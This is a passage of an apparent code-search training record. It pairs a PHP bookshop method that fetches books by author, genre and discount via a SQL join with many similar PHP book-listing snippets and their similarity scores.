the output of the view to the response\n $response->setContent($view->getContent());\n\n // Send the request headers\n $response->sendHeaders();\n\n // Print the response\n echo $response->getContent();\n\n }\n\n exit;\n\n\n }", "static function go()\n {\n chdir(dirname(__DIR__));\n\n // Setup autoloading\n require_once(__DIR__ . '/../init_autoloader.php');\n\n // Run application\n $config = require('config/application.config.php');\n Mvc\\Application::init($config);\n\n $serviceManager = new ServiceManager(new ServiceManagerConfig());\n $serviceManager->setService('ApplicationConfig', $config);\n $serviceManager->get('ModuleManager')->loadModules();\n\n self::$serviceManager = $serviceManager;\n }", "public function main() {\n\t\t$this->_db=My_Class_Maerdo_Console_Db::getDbInstance();\n\t\t$controllers=$this->getList();\n\t\t$this->createController($controllers);\n\t\treturn true;\n\t}", "public static function main()\n {\n PHPUnit_TextUI_TestRunner::run(new PHPUnit_Framework_TestSuite(__CLASS__));\n }", "public function run()\n {\n $this->run_configuration();\n\n $this->request->plugins = $this->pluggins;\n\n $app = $this;\n\n $this->router->start($app);\n }" ]
[ "0.75923234", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.74281573", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.7426713", "0.73265404", "0.7312179", "0.72979814", "0.725521", "0.72288275", "0.7227598", "0.7190667", "0.7173786", "0.6868662", "0.6765126", "0.6759901", "0.67571044", "0.67545533", "0.672495", "0.6664044", "0.66129935", "0.66129935", "0.66129935", "0.6587292", "0.6587292", "0.6564019", "0.6524552", "0.65168184", "0.6493189", "0.6493189", "0.6433095", "0.64164597", "0.6405647", "0.635279", "0.635279", "0.63456905", "0.63374925", "0.6337431", "0.63094485", "0.63094485", "0.6286306", "0.6285578", "0.62655526", "0.6252496", "0.6247262", "0.6239417", "0.6231623", "0.6228943", "0.62256014", "0.6223405", "0.6213604", "0.61970294", "0.6192251" ]
0.0
-1
Get the whole table of books. Return array.
public function getBooks() { $sql = 'SELECT bookshop_books.id, bookshop_books.description, bookshop_books.booksName, bookshop_books.pubyear, bookshop_discounts.id AS discountsId, bookshop_discounts.discountsName, bookshop_discounts.percent, bookshop_books.price, bookshop_authors.id AS idAuthors, bookshop_authors.authorsName, bookshop_genres.id AS idGenres, bookshop_genres.genresName FROM bookshop_books_to_authors INNER JOIN bookshop_books ON bookshop_books_to_authors.id_book = bookshop_books.id INNER JOIN bookshop_books_to_genres ON bookshop_books_to_genres.id_book = bookshop_books.id INNER JOIN bookshop_authors ON bookshop_books_to_authors.id_author = bookshop_authors.id INNER JOIN bookshop_genres ON bookshop_books_to_genres.id_genre = bookshop_genres.id INNER JOIN bookshop_discounts ON bookshop_books.id_discount = bookshop_discounts.id'; $result = $this->db->execute($sql); if (!$result) return $this->error(); return $this->formingBooks($result); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAllBooks(){\n $query = \"SELECT * FROM Book;\";\n return $this->getBookDetail($query);\n }", "public function getBooks(){\n $sql = \"SELECT * FROM book;\";\n $res = mysqli_query($this->link, $sql);\n $books = mysqli_fetch_all($res);\n return $books;\n }", "public function getallBooks()\r\n {\r\n $sql = \"SELECT id, name, publisher, year,description FROM book\";\r\n $query = $this->db->prepare($sql);\r\n $query->execute();\r\n\r\n return $query->fetchAll();\r\n }", "public function getBookList() {\n\n $booklist = array();\n\n foreach ($this->db-> query(\"SELECT * FROM book\") as $row) {\n \n array_push($booklist, new Book($row['title'], $row['author'], $row['description'], $row['id']));\n }\n\n return $booklist;\n }", "public function getBooks()\n {\n $page = isset($_GET['page']) ? $_GET['page'] : 1;\n $this->limit = isset($_GET['limit']) ? $_GET['limit'] : $this->limit;\n $offset = $this->limit * ($page - 1);\n\n\n if (USE_ONE_TABLE) {\n $this->table = 'books_authors';\n $sql = \"SELECT * FROM $this->table WHERE `deleted` is NULL LIMIT :limit OFFSET :offset\";\n } else {\n $this->table = 'relations';\n $sql = \"SELECT books.id, book_name, GROUP_CONCAT(name_author SEPARATOR ', ') as 'author' , year, num_pages, about_book, deleted, views, clicks, image\n FROM books \n JOIN relations ON book_id = books.id\n JOIN authors ON authors.id = author_id\n WHERE deleted is NULL \n GROUP BY id\n LIMIT :limit OFFSET :offset\";\n }\n\n $params = [\n [\":limit\", $this->limit, \\PDO::PARAM_INT],\n [\":offset\", $offset, \\PDO::PARAM_INT]\n ];\n return $this->bindAndQuery($sql, $params);\n }", "public function getallbooks(){\n\t\t\t$this->db->select('id, name, price, author, category, language, ISBN, publish_date')\n\t\t\t\t\t ->from('tbl_books');\n\t\t\t$this->db->order_by('id', 'desc');\n\n\t\t\t$query = $this->db->get();\n\n\t\t\tif($query->num_rows() > 0){\n\t\t\t\treturn $query->result_array();\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn 0;\n\t\t\t}\n\n\t\t}", "public function getAllBooks() {\n \n $allBooks = Libro::all();\n\n return $allBooks;\n }", "public function get_book()\n {\n $sql = DB::select('select * from books');\n return $sql;\n }", "public function listBooks()\n {\n //list all books in database\n $sql2 = \"SELECT * from book\";\n $userBooks = mysql_fetch_array(mysql_query($sql2));\n return $userBooks; \n }", "static public function getAll()\r\n {\r\n\r\n //connect with DB\r\n $db = Database::getConnect();\r\n $sql = \"SELECT `book_id`,`name`, `author`, `published_date` FROM `books` WHERE `deleted_at` IS NULL ORDER BY `book_id`\";\r\n $result = $db->query($sql);\r\n $result->execute();\r\n return $result->fetchAll();\r\n }", "public function getAllBooks(){\n return $this->libros;\n }", "public function bookIndex(): array\n {\n return $this->bookRepository->findAllUserBooks(\\Auth::user()->getUid());\n }", "function getAllBooks( ) {\n global $db;\n $stmt = mysqli_prepare(\n $db,\n 'SELECT\n books.bid,\n books.title,\n books.description,\n bookauthors.name,\n genres.name,\n books.coverimage\n FROM\n books CROSS\n JOIN bookgenres ON bookgenres.bid = books.bid CROSS\n JOIN genres ON genres.id = bookgenres.genreid CROSS\n JOIN bookauthors ON bookauthors.bid = books.bid CROSS\n JOIN bcopies ON bcopies.bid = books.bid\n WHERE\n bcopies.deleted = 0 AND\n bcopies.given = 0\n ORDER BY\n books.title ASC\n ');\n mysqli_stmt_execute( $stmt );\n mysqli_stmt_store_result( $stmt );\n mysqli_stmt_bind_result( $stmt,$id, $title, $description, $author, $genre, $image );\n while ( mysqli_stmt_fetch( $stmt ) ) {\n $book[ 'title' ] = $title;\n $book[ 'img' ] = $image;\n $book[ 'description' ] = $description;\n $book[ 'authors' ][ $author ] = true;\n $book[ 'genres' ][ $genre ] = true;\n $book[ 'bid' ] = $id;\n $books[ $id ] = $book;\n }\n return $books;\n }", "public function getBookList()\n\t{\n\t\treturn array(\n\t\t\t\"1\" => new Book(\"Être et Temps\", \"9782070707393\", 1, 1, 1),\n\t\t\t\"2\" => new Book(\"Finnegans Wake\", \"9782070402250\", 2, 2, 2),\n\t\t\t\"3\" => new Book(\"Critique de la raison pure\", \"9782070325757\", 3, 3, 3)\n\t\t);\n\t}", "public function getBookList()\n {\n return $this->bookDao->getBookList();\n }", "public function read():array{\n\t\t\t return $this->con->query('select * from book');\n\n\t\t}", "public function findAllBooks()\n {\n MyLogger::info(\"Entering OwnedBookBusinessService.findAllBooks\");\n //creates a connection\n $db = new Connection();\n $conn = $db->open();\n \n //creates an array of education\n $books = Array();\n \n //calls the data service\n $service = new OwnedBookDataService($conn);\n \n //calls the find all method in the data service\n $books = $service->findAllBooks();\n \n //closes the connection\n $conn = null;\n \n //return the array\n return $books;\n \n MyLogger::info(\"Exiting OwnedBookBusinessService.findAllBooks\");\n }", "public function getBookList() \n {\n return array( \n \"Balagurusamy\" => new Book(\"Balagurusamy\", \"Balagurusamy\", \"C programming\"), \n \"CMM in Practice\" => new Book(\"CMM in Practice\", \"Pankaj Jalote\", \"\"), \n \"PHP for Dummies\" => new Book(\"PHP for Dummies\", \"Some Smart Guy\", \"\") \n ); \n }", "public function getBooks()\n\t{\n\t\treturn $this->books;\n\t}", "public function get_books()\n {\n $this->load->database();\n // print_r($this->db->get(\"books\"));\n $query = $this->db->query(\"select * from books\");\n return $query->result();\n }", "public function findAll() {\n $sql = \"select * from book order by book_id desc\";\n $result = $this->getDb()->fetchAll($sql);\n\n // Convert query result to an array of domain objects\n $livres = array();\n foreach ($result as $row) {\n $livreId = $row['book_id'];\n $livres[$livreId] = $this->buildDomainObject($row);\n }\n return $livres;\n }", "public function get_book();", "public function getBooks()\r\n {\r\n $bookNodes = $this->dom->getElementsByTagName('book');\r\n $books = [];\r\n\r\n foreach($bookNodes as $domNode) {\r\n $book = [];\r\n\r\n foreach($domNode->childNodes as $dn) {\r\n if ($dn->nodeName === 'author') {\r\n $book['author'] = $dn->nodeValue;\r\n }\r\n\r\n if ($dn->nodeName === 'pages') {\r\n $book['pages'] = $dn->nodeValue;\r\n }\r\n\r\n if ($dn->nodeName === 'title') {\r\n $book['title'] = $dn->nodeValue;\r\n }\r\n\r\n if ($dn->nodeName === 'code') {\r\n $book['code'] = $dn->nodeValue;\r\n }\r\n }\r\n\r\n $books[] = $book;\r\n }\r\n\r\n return $books;\r\n }", "public function &getTables();", "public function getAll() {\r\n $statement = \"\r\n SELECT * FROM bookillustrator;\r\n \";\r\n\r\n try {\r\n $statement = $this->db->query($statement);\r\n $result = $statement->fetchAll(\\PDO::FETCH_ASSOC);\r\n return $result;\r\n }\r\n catch(\\PDOException $e) {\r\n exit($e->getMessage());\r\n }\r\n }", "public function getTables();", "public function getTables();", "public function getTables();", "public function showAllBooks()\n {\n return response()->json(Book::all());\n }", "function getBookings(){\r\n\t\t$inx = 0;\r\n\t\t$arrbook = array();\r\n\t\t$conn = getConnection();\r\n //These are the specific fields\r\n $stmt = $conn->prepare(\"SELECT B.idreservations, B.rs_checkin, B.rs_checkout, G.gs_name FROM booking B, guests G where G.reservations_idreservations = B.idreservations\");\r\n \r\n $stmt->execute();\r\n\r\n $result = $stmt->get_result();\r\n\r\n if($result->num_rows > 0){\r\n \twhile($row = $result->fetch_assoc()){\r\n \t\t$arrbook[$inx][0] = $row['rs_checkin'];\r\n \t\t$arrbook[$inx][1] = $row['gs_name'];\r\n \t\t$arrbook[$inx][2] = $row['rs_checkout'];\r\n $arrbook[$inx][3] = $row['idreservations'];\r\n $inx++;\r\n \t}\r\n }\r\n $conn->close(); \r\n\r\n return $arrbook;\r\n\t}", "abstract public function getTablesArray();", "public function getBooks()\n {\n return $this->hasMany(Book::className(), ['author_id' => 'id']);\n }", "public function getBooksAttribute()\n {\n return $this->getBible()->getArrayOfBooks();\n }", "public function readAll ()\n {\n\n $query = \"SELECT\n book_id,type_id,name,isbn,author,publisher,price\n FROM \". \" $this->table_name \";\n\n\n $stmt = $this->conn->prepare( $query );\n $stmt->execute();\n// $row = $stmt->fetch(PDO::FETCH_ASSOC);\n return $stmt;\n }", "public function getAll()\n\t{\n\t\treturn $this->db->get('tabel_b')->result();\n\t}", "public static function get_iterator() {\n global $DB;\n\n $books = $DB->get_records('book');\n return $books;\n }", "function get_all_booksinn($params = array())\n {\n $this->db->select(\"booksinn.*, books.name as bookname\");\n $this->db->join('books','books.id=booksinn.books_id','inner');\n $this->db->order_by('id', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return $this->db->get('booksinn')->result_array();\n }", "public static function get_all_books() {\n\t\t$books = BooksQModel::get_all_books();\n\n\t\tforeach ($books as $book) {\n\t\t\t//shorted description\n\t\t\tif (strlen($book->description) >= 122)\n\t\t\t\t$book->description = mb_substr($book->description, 0, 120).'...';\n\t\t\t//get uploader\n\t\t\t$uploader = UsersQModel::get_user_by_id($book->id_uploader);\n\t\t\tif ($uploader != null)\n\t\t\t\t$book->uploader = $uploader->name;\n\t\t\telse\n\t\t\t\t$book->uploader = 'Đang cập nhật';\n\t\t}\n\n\t\treturn $books;\n\t}", "public function getownerBooks($ownerid)\n {\n $sql2 = \"SELECT * from book JOIN item on book.itemid= item.itemid where bUserid= '\".$ownerid.\"'\";\n $bookdetails = mysql_fetch_array(mysql_query($sql2));\n return $bookdetails;\n \n }", "function get_booksinn($id)\n {\n return $this->db->get_where('booksinn',array('id'=>$id))->row_array();\n }", "public function index()\n {\n return books::orderBy('created_at')->get();\n }", "abstract public function getTables();", "public function index()\n {\n $books= DB::table('books') \n ->where('available',true)\n ->get();\n return $books; \n }", "public function getBooks($language)\n\t{\n\t\t$sql = sprintf(\"\n\t\t\tSELECT book, short_name, long_name\n\t\t\tFROM books b INNER JOIN languages l ON (b.language_id=l.id)\n\t\t\tWHERE l.name='%s'\n\t\t\tORDER BY book ASC\", $language);\n\n\t\t$result = mysqli_query($this->db, $sql);\n\n\t\t$books = array();\n\t\twhile ($row = mysqli_fetch_assoc($result))\n\t\t{\n\t\t\t$books[] = $row;\n\t\t}\n\n\t\treturn $books;\n\t}", "public function GetBookings()\n\t{\t$bookings = array();\n\t\t$sql = 'SELECT * FROM coursebookings WHERE ticket=' . $this->id;\n\t\tif ($result = $this->db->Query($sql))\n\t\t{\twhile ($row = $this->db->FetchArray($result))\n\t\t\t{\t$bookings[$row['id']] = $row;\n\t\t\t}\n\t\t}\n\t\treturn $bookings;\n\t}", "public function books()\n {\n return $this->morphedByMany('App\\Book', 'source_genre');\n }", "public function index()\n {\n $b = newbook::\n orderBy('id', 'desc')\n //take(10)\n ->get();\n\n return $b->toJson();\n \n }", "public function getBorrowedbooks()\n {\n return $this->hasMany(Borrowedbooks::className(), ['bookId' => 'bookId']);\n }", "public function getTableOfContents();", "public function index()\n { //select all books\n return Book::all();\n }", "public function books()\n {\n return $this->get('/books');\n }", "public function listall()\r\n {\r\n $this->db->select('*');\r\n $this->db->from('books');\r\n $this->db->join('author', 'books.author_ID=author.Author_ID');\r\n\r\n $q = $this->db->get();\r\n return $q->result();\r\n \r\n\r\n }", "function get_all_textbooks($db)\n{\n\t$sql = 'SELECT * FROM textbooks ORDER BY date_time DESC';\n\t$st = $db->prepare($sql);\n\t$st->execute();\n\t$us = $st->fetchAll();\n\treturn $us;\n}", "public function allBooksOderedByType()\n {\n $qb = $this->createQueryBuilder('b')\n ->select('b.title, b.type, b.isbn, b.author')\n ->orderBy('b.type');\n\n $query = $qb->getquery();\n \n return $query->execute();\n }", "public function get9book(){\n $db =new DbConnect();\n $con =$db->connect();\n $books9 = array();\n $result_book = mysqli_query($con,\"SELECT * from book order by book_id DESC LIMIT 9\");\n while($book9 = mysqli_fetch_array($result_book,MYSQLI_ASSOC)){\n array_push($books9,$book9);\n }\n return $books9;\n }", "function getSelectedBooks($userID)\n{\n $dbConnection = parse_ini_file(\"Common/db_connection.ini\");\n extract($dbConnection);\n $myPdo = new PDO($dsn, $user, $password);\n\n $books = array();\n\n $stmt = $myPdo->prepare(\"SELECT * FROM Book JOIN ShoppingCart ON ShoppingCart.BookId = Book.BookId WHERE ShoppingCart.CustomerId=customerID\");\n $stmt->execute(['customerID' => $userID]);\n//$row = $stmt->fetch(PDO::FETCH_ASSOC);\n//make book objects for table\n foreach ($stmt as $row) {\n\n $book = new Book($row['BookId'],$row['Title'],$row['Description'],$row['Price']);\n\n $books[] = $book;\n\n }\n return $books;\n\n}", "public function table_get_all($table);", "public function index()\n\t{\n\n\t\t$book_list = Books::select('book_id', 'title', 'author', 'description', 'book_categories.category')\n\t\t\t->join('book_categories', 'book_categories.id', '=', 'books.category_id')\n\t\t\t->orderBy('book_id')->get();\n\t\t// dd($book_list);\n\t\t// $this->filterQuery($book_list);\n\n\t\t// $book_list = $book_list->get();\n\n\t\tfor ($i = 0; $i < count($book_list); $i++) {\n\n\t\t\t$id = $book_list[$i]['book_id'];\n\t\t\t$conditions = array(\n\t\t\t\t'book_id'\t\t\t=> $id,\n\t\t\t\t'available_status'\t=> 1\n\t\t\t);\n\n\t\t\t$book_list[$i]['total_books'] = Issue::select()\n\t\t\t\t->where('book_id', '=', $id)\n\t\t\t\t->count();\n\n\t\t\t$book_list[$i]['avaliable'] = Issue::select()\n\t\t\t\t->where($conditions)\n\t\t\t\t->count();\n\t\t}\n\n\t\treturn $book_list;\n\t}", "public function getTableList()\n\t{\n\t\t$db = new mysql_db();\n\n\t\t$result = $db->query(\"show tables\");\n\t\t\n\t\t$db->fetch_array($result);\n\t\t\n\t\treturn $arr;\n\t}", "function get_all_booktypes($params = array())\n {\n $this->db->order_by('id', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return $this->db->get('booktypes')->result_array();\n }", "public function allBooks ()\n {\n $books = $this->book->findAll();\n $this->show('admin/allbooks', ['books' => $books]);\n }", "public static function getTables() {\n }", "public function books(): Collection;", "public function getBooks($id) {\n }", "public function readTable()\n {\n $sql = \"SELECT Cubans.Id, FirstName, LastName, Gender, YearOfBirth, \n `Name`, IsInGroup FROM Cubans\n JOIN Genre ON Cubans.IdGenre=Genre.id\";\n $statement = $this->connect->prepare($sql);\n $statement->execute();\n return $statement->fetchAll();\n }", "public function getBookByType($type = null)\n {\n $result = $this->find('All')->toArray();\n return $result;\n }", "public function getListingBooks()\n {\n return $this->listingBooks;\n }", "public function getTableList() {\n\t\t$db = new mysql_db();\n\n\t\t$result = $db -> query(\"show tables\");\n\n\t\t$db -> fetch_array($result);\n\t\t$db -> close_connection();\n\t\treturn $arr;\n\t}", "public function getListOfTables() {}", "public function getBookByType($type = null){\n $typeBook = $this->checkBookType($type);\n $books = TableRegistry::get('books');\n $result = array();\n if (!empty($typeBook)){\n $result = $books->getBookByType($typeBook['id']);\n }\n return $result;\n }", "public function books()\n {\n return $this->morphedByMany('App\\Book', 'taggable');\n }", "function getAllBooks($conn) {\n $all_books = 'SELECT title FROM audio_book';\n $result = mysqli_query($conn, $all_books);\n if(mysqli_num_rows($result) > 0) {\n return $result;\n } else {\n echo 'Nothing <br>';\n exit;\n }\n }", "public function get5book(){\n $db =new DbConnect();\n $con =$db->connect();\n $books5 = array();\n $result_book = mysqli_query($con,\"SELECT * from book order by book_id DESC LIMIT 5\");\n while($book5 = mysqli_fetch_array($result_book,MYSQLI_ASSOC)){\n array_push($books5,$book5);\n }\n return $books5;\n }", "public function getAddressBooks();", "public function getTableList()\n\t{\n\t\treturn [];\n\t}", "public static function getTableName()\n {\n return 'Books';\n }", "public function index()\n {\n return BookResources::collection(Book::with(['user','categories','authors'])->get());\n }", "public function get6book(){\n $db =new DbConnect();\n $con =$db->connect();\n $books6 = array();\n $result_book = mysqli_query($con,\"SELECT * from book order by book_id DESC LIMIT 6\");\n while($book6 = mysqli_fetch_array($result_book,MYSQLI_ASSOC)){\n array_push($books6,$book6);\n }\n return $books6;\n }", "public function loadAllWithBookCount();", "function getAllTablesBar(){\n\n return $this->db->table('mesas')\n ->select('numero_Mesa, forma, personas, alto, ancho')\n ->where('id_puntos = 1')\n ->get()\n ->getResult();\n }", "public function getBook($isbn);", "public function getOpinions($book){\n $sql = \"SELECT o.title, o.txt, o.note, o.pubDate, a.username, o.id, o.author FROM opinion o\n INNER JOIN account a ON o.author=a.id\n INNER JOIN book b ON o.book=b.id\n WHERE b.id=\".intval($book).\"\n ORDER BY o.pubDate DESC;\";\n $res = mysqli_query($this->link, $sql);\n $opinions = mysqli_fetch_all($res);\n return $opinions;\n }", "public function getBooks(\n\t\t$from = 0, $limit = 12, $orderBy = 'id',\n\t\t$cena_od = 0,\t$cena_do = NULL, $hladaj = NULL, $autor = NULL\n\t\t) {\n\t\t$whereSql = ' price >= :cena_od AND price <= :cena_do ';\t\t\n\t\t$whereHodnoty = [\t\t\t\t\n\t\t\t\t'cena_od' => $cena_od,\n\t\t\t\t'cena_do' => ($cena_do === NULL) ? '99999' : $cena_do, \n\t\t\t];\n\t\t\t// 99999 get max price\n\n\t\t\tif($hladaj != NULL) {\n\t\t\t\t$whereSql .= ' AND MATCH (title, description, excerpt) AGAINST (:hladaj) ';\n\t\t\t\t$whereHodnoty['hladaj'] = $hladaj;\n\t\t\t}\n\n\t\t\tif($autor != NULL) {\n\t\t\t\t$whereSql .= ' AND author = :autor ';\n\t\t\t\t$whereHodnoty['autor'] = $autor;\n\t\t\t}\n/*\n \t\t\tif($hladaj != NULL) {\n \t\t\t\t$whereSql .= ' OR authors.name LIKE :hladaj_autora ' ;\t\n \t\t\t\t$whereHodnoty['hladaj_autora'] = '%'.$hladaj.'%';\n \t\t\t\t\t\t\t\n \t\t\t}\n*/\n\n\n\t\t$this->db;\t\t\n\t\t$sth = $this->db->prepare(' SELECT * FROM ' . self::TABLE_NAME . ' \n \n\t\tWHERE '.$whereSql.'\n\n\t\tORDER BY ' . $orderBy . '\n\n\t\tLIMIT ' . $from . ', '. $limit . ' ' \n\n\t\t);\n\n\n\t\t$sth->execute( $whereHodnoty );\n\t\t\n\n\n $books = [];\n\t\twhile($book = $sth->fetchObject(__CLASS__)) {\n\n\t\t $books[] = $book;\t\n\t\t\n\t }\n\n\t\t$this->count = $this->getCount($whereSql , $whereHodnoty);\n\n\t\treturn $books;\n\n\t\t//var_dump($books);\n\t\t\n }", "public function index()\n {\n $bookings = Booking::all()->sortByDesc('created_at')->forPage(0, 20);\n return $bookings;\n }", "public function books()\n {\n\t \t return $this->belongsToMany(Book::class);\n }", "public function getEx11() {\n $books = \\App\\Book::orderBy('title','asc')->get();\n $this->printBooks($books);\n # Underlying SQL: select * from `books` order by `title` asc\n }", "public function test_get_all_books()\n {\n $randomBook = Book::factory()->create();\n $response = $this->getJson('/api/v1/books');\n $response\n ->assertStatus(200)\n ->assertJson([\n \"status_code\" => 200,\n \"status\" => \"success\",\n \"data\" => [\n [\n \"id\" => $randomBook->id,\n \"name\" => $randomBook->name,\n \"isbn\" => $randomBook->isbn,\n \"authors\" => $randomBook->authors,\n \"number_of_pages\" => $randomBook->number_of_pages,\n \"publisher\" => $randomBook->publisher,\n \"country\" => $randomBook->country,\n \"release_date\" => $randomBook->release_date,\n ],\n ]\n ]);\n }", "public function booklist()\n {\n $book = Post::where('key', 'book')->get();\n return view('backends.booklist')->with('book', $book);\n }", "public function getTableRaw();", "public function index() {\n $books = Book::orderBy('created_at', 'desc')->get()->toArray();\n\n $books = array_map(function ($book) {\n $review_author = Book::find($book['id'])->user()->first()->name;\n $book['review_author'] = $review_author;\n return $book;\n }, $books);\n\n return $books;\n }", "public function purchasedBooks()\n { \n return $this->orders();\n }", "public function getAll()\n\t{\n\t\treturn $this->db->get('data_b')->result();\n\t}", "public function books(): \\Illuminate\\Database\\Eloquent\\Relations\\HasMany\n {\n return $this->hasMany(Book::class);\n }", "private function readAll(){\r\n $results = array();\r\n \r\n if ( null !== $this->getDB() ) {\r\n $dbs = $this->getDB()->prepare('select * from about_page');\r\n \r\n if ( $dbs->execute() && $dbs->rowCount() > 0 ) {\r\n $results = $dbs->fetchAll(PDO::FETCH_ASSOC);\r\n }\r\n \r\n } \r\n return $results;\r\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "private function table_data(){\n $data = array();\n\n global $wpdb;\n\n $data = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}lic_activations ORDER BY ID ASC\", ARRAY_A);\n \n return $data;\n }", "public function listBooks ($session) {\n\n // get dummy data if books don't exist\n if (!$session->has('books')) {\n $this->dummyData($session);\n }\n\n return $session->get('books');\n\n }", "function getBookDetails( $bid ) {\n global $db;\n $stmt = mysqli_prepare(\n $db,\n 'SELECT\n books.title,\n books.description,\n bookauthors.name,\n genres.name,\n books.coverimage\n FROM\n books CROSS\n JOIN bookgenres ON bookgenres.bid = books.bid CROSS\n JOIN genres ON genres.id = bookgenres.genreid CROSS\n JOIN bookauthors ON bookauthors.bid = books.bid\n WHERE\n books.bid = ?\n '\n );\n mysqli_stmt_bind_param( $stmt, 'i', $bid );\n mysqli_stmt_execute( $stmt );\n mysqli_stmt_store_result( $stmt );\n mysqli_stmt_bind_result( $stmt, $title, $description, $author, $genre, $image );\n $results = false;\n while ( mysqli_stmt_fetch( $stmt ) ) {\n $results = true;\n $book[ 'title' ] = $title;\n $book[ 'description' ] = $description;\n $book[ 'authors' ][ $author ] = true;\n $book[ 'genres' ][ $genre ] = true;\n $book[ 'image' ] = $image;\n $book[ 'bid' ] = $bid;\n }\n if ( !$results )\n return false;\n return $book;\n }", "public function getBook()\n\t{\n\t\tif (cookie('staffAccount') != '') {\n\t\t\t\n\t\t\t$book = D('Book_species');\n\t\t\t$sql = \"SELECT * FROM lib_book_species as a, \n\t\t\t (SELECT COUNT(*) as number, isbn as isbn2 FROM lib_book_unique \n\t\t\t\t\twhere book_id not in(select book_id from lib_remove) GROUP BY isbn) AS b \n\t\t\t where a.isbn = b.isbn2 and number!=0 ORDER BY species_id DESC LIMIT 0,20;\";\n\t\t\t$return = $book->query($sql);\n\t\t\tif ($return) {\n\t\t\t\t$json = json_encode(array(\n\t\t\t\t\t'code' => 'success',\n\t\t\t\t\t'data' => json_encode($return)\n\t\t\t\t));\n\t\t\t\techo $json;\n\t\t\t} else {\n\t\t\t\t$json = json_encode(array(\n\t\t\t\t\t'code' => 'fail',\n\t\t\t\t\t'msg' => 'Nothing, please add book!'\n\t\t\t\t));\n\t\t\t}\n\t\t} else {\n\t\t\t$json = json_encode(array(\n\t\t\t\t'code' => 'fail',\n\t\t\t\t'msg' => 'Please Login!'\n\t\t\t));\n\t\t\techo $json;\n\t\t}\n\t}", "function getTables()\n {\n // Init global variables\n global $types, $classes, $makes;\n // Set each variable to array\n $types = get_types();\n $classes = get_classes();\n $makes = getMakes();\n }" ]
[ "0.7904977", "0.7724865", "0.7712345", "0.7419613", "0.72971034", "0.7237914", "0.71962816", "0.7193608", "0.7166071", "0.71002173", "0.70663714", "0.699025", "0.6963624", "0.6961018", "0.6955478", "0.6937702", "0.69031703", "0.6898518", "0.6853069", "0.6799621", "0.66558534", "0.66468537", "0.6637905", "0.6633177", "0.6627149", "0.66211534", "0.66211534", "0.66211534", "0.6581635", "0.6565199", "0.6529382", "0.6513936", "0.64809614", "0.6466363", "0.6463622", "0.6425774", "0.6390503", "0.6388835", "0.63582754", "0.6349585", "0.6318859", "0.62917805", "0.6267193", "0.6263065", "0.6257733", "0.62571836", "0.62394994", "0.6218997", "0.6192904", "0.61503327", "0.6145937", "0.6144338", "0.61397743", "0.6127722", "0.6123175", "0.61152416", "0.61141187", "0.60785985", "0.60761267", "0.6068844", "0.6058268", "0.60538685", "0.60342556", "0.6025695", "0.6019668", "0.59872425", "0.59816927", "0.59794587", "0.5954922", "0.5952928", "0.5949042", "0.5948219", "0.59481126", "0.59384346", "0.5938206", "0.5927767", "0.5871243", "0.5853701", "0.5844776", "0.5837785", "0.58253616", "0.581908", "0.5811739", "0.5809416", "0.5800785", "0.57963336", "0.5792922", "0.5790439", "0.57849413", "0.5773241", "0.57664", "0.5762001", "0.5757438", "0.57564104", "0.5755084", "0.5752759", "0.5751205", "0.5746031", "0.5744118", "0.57308" ]
0.67358845
20
Get full information about the books where: /id(books). /false(null)/id(authors). /false(null)/false(null)/id(genres). Return array.
public function getBooksByParams($params) { list($arrParams['idBooks'], $arrParams['idAuthors'], $arrParams['idGenres'] ) = explode('/', $params['params'], 4); $sql = 'SELECT bookshop_books.id, bookshop_books.description, bookshop_books.booksName, bookshop_books.pubyear, bookshop_discounts.id AS discountsId, bookshop_discounts.discountsName, bookshop_discounts.percent, bookshop_books.price, bookshop_authors.id AS idAuthors, bookshop_authors.authorsName, bookshop_genres.id AS idGenres, bookshop_genres.genresName FROM bookshop_books_to_authors INNER JOIN bookshop_books ON bookshop_books_to_authors.id_book = bookshop_books.id INNER JOIN bookshop_books_to_genres ON bookshop_books_to_genres.id_book = bookshop_books.id INNER JOIN bookshop_authors ON bookshop_books_to_authors.id_author = bookshop_authors.id INNER JOIN bookshop_genres ON bookshop_books_to_genres.id_genre = bookshop_genres.id INNER JOIN bookshop_discounts ON bookshop_books.id_discount = bookshop_discounts.id'; if ( !$condition = $this->conditionSwitch($sql, $arrParams) ) return $this->error(404, 63); $result = $this->db->execute($condition['sql'], ['id' => $condition['id']]); if (!$result) return $this->error(); return $this->formingBooks($result); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getallBooks()\r\n {\r\n $sql = \"SELECT id, name, publisher, year,description FROM book\";\r\n $query = $this->db->prepare($sql);\r\n $query->execute();\r\n\r\n return $query->fetchAll();\r\n }", "public function getAllBooks(){\n $query = \"SELECT * FROM Book;\";\n return $this->getBookDetail($query);\n }", "public function getBooks()\n {\n $page = isset($_GET['page']) ? $_GET['page'] : 1;\n $this->limit = isset($_GET['limit']) ? $_GET['limit'] : $this->limit;\n $offset = $this->limit * ($page - 1);\n\n\n if (USE_ONE_TABLE) {\n $this->table = 'books_authors';\n $sql = \"SELECT * FROM $this->table WHERE `deleted` is NULL LIMIT :limit OFFSET :offset\";\n } else {\n $this->table = 'relations';\n $sql = \"SELECT books.id, book_name, GROUP_CONCAT(name_author SEPARATOR ', ') as 'author' , year, num_pages, about_book, deleted, views, clicks, image\n FROM books \n JOIN relations ON book_id = books.id\n JOIN authors ON authors.id = author_id\n WHERE deleted is NULL \n GROUP BY id\n LIMIT :limit OFFSET :offset\";\n }\n\n $params = [\n [\":limit\", $this->limit, 